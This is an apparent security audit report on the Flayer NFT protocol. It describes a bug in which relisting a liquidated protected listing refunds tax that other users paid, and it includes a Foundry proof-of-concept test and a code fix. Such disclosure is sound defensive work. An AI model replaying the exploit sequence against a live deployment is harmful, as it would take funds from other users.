Wobbly Neon Hyena

High

# `Listings::relist` wrongly resolves the listings tax for liquidation listings, allowing users to steal other users' paid tax

### Summary

When users create a normal listing in the `Listings` contract, they pay some tax, this tax is kept in the `Listings` contract until the listing is filled/re-listed/canceled, where part of this tax is refunded to the listing's owner and the other part is sent as fees to the implementation contract, this is handled in `Listings::_resolveListingTax`.

On the other hand, when users create a protected listing and don't unlock in time, users can liquidate that position by calling `ProtectedListings::liquidateProtectedListing`, where a new non-protected listing is created in the `Listings` contract, the important point here is that no tax was paid to create this listing.

However, when someone tries to re-list this liquidation listing, the protocol will call to resolve the paid tax:
```solidity
(uint256 _fees, ) = _resolveListingTax(oldListing, _collection, true);
if (_fees != 0) {
    emit ListingFeeCaptured(_collection, _tokenId, _fees);
}
```
Again, no tax was paid to create this listing.

This will use others' paid taxes to send implementation fees and to refund the initial protected listing's owner with money that he didn't even pay.

### Root Cause

`Listings::relist` function doesn't check if the listing is a liquidation listing before resolving tax, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672).

### Impact

Users who have their protected listings liquidated will get refunded some of the tax paid by other users having active non-protected listings.

### PoC

Add the following test in `flayer/test/ProtectedListings.t.sol`:

```solidity
function test_WrongTaxResolveLiquidation() public {
    ICollectionToken collectionToken = ICollectionToken(
        locker.collectionToken(address(erc721a))
    );

    deal(address(collectionToken), address(this), 4 ether);

    address payable bob = payable(address(0x1));
    uint256 bobTokenId = 0;
    erc721a.mint(bob, bobTokenId);

    address payable alice = payable(address(0x2));
    uint256 aliceTokenId = 1;
    erc721a.mint(alice, aliceTokenId);

    // Bob creates a protected listing
    vm.startPrank(bob);
    erc721a.approve(address(protectedListings), bobTokenId);
    _createProtectedListing({
        _listing: IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(bobTokenId),
            listing: IProtectedListings.ProtectedListing({
                owner: bob,
                tokenTaken: 0.95 ether,
                checkpoint: 0
            })
        })
    });
    vm.stopPrank();

    // Alice creates a normal listing
    vm.startPrank(alice);
    erc721a.approve(address(listings), aliceTokenId);
    _createListing(
        IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(aliceTokenId),
            listing: IListings.Listing({
                owner: alice,
                created: uint40(block.timestamp),
                duration: 5 days,
                floorMultiple: 200
            })
        })
    );
    vm.stopPrank();

    vm.warp(block.timestamp + 1 days);

    // Bob's listing is liquidatable
    assertLt(
        protectedListings.getProtectedListingHealth(address(erc721a), bobTokenId),
        0
    );

    // Bob's listing is liquidated
    protectedListings.liquidateProtectedListing(
        address(erc721a),
        bobTokenId
    );

    vm.warp(block.timestamp + 1 days);

    // Bob's liquidated position is relisted
    collectionToken.approve(address(listings), type(uint256).max);
    listings.relist(
        IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(bobTokenId),
            listing: IListings.Listing({
                owner: payable(address(this)),
                created: uint40(block.timestamp),
                duration: 10 days,
                floorMultiple: 120
            })
        }),
        false
    );

    // Bob's gained some refund from the tax paid by Alice
    assertGt(listings.balances(bob, address(collectionToken)), 0);
}
```

### Mitigation

In `Listings::relist`, check if the listing is "liquidated" before resolving the listings tax, by adding something similar to:
```solidity
if (!_isLiquidation[_collection][_tokenId]) {
    // We can process a tax refund for the existing listing
    (uint256 _fees, ) = _resolveListingTax(
        oldListing,
        _collection,
        true
    );
    if (_fees != 0) {
        emit ListingFeeCaptured(_collection, _tokenId, _fees);
    }
}
```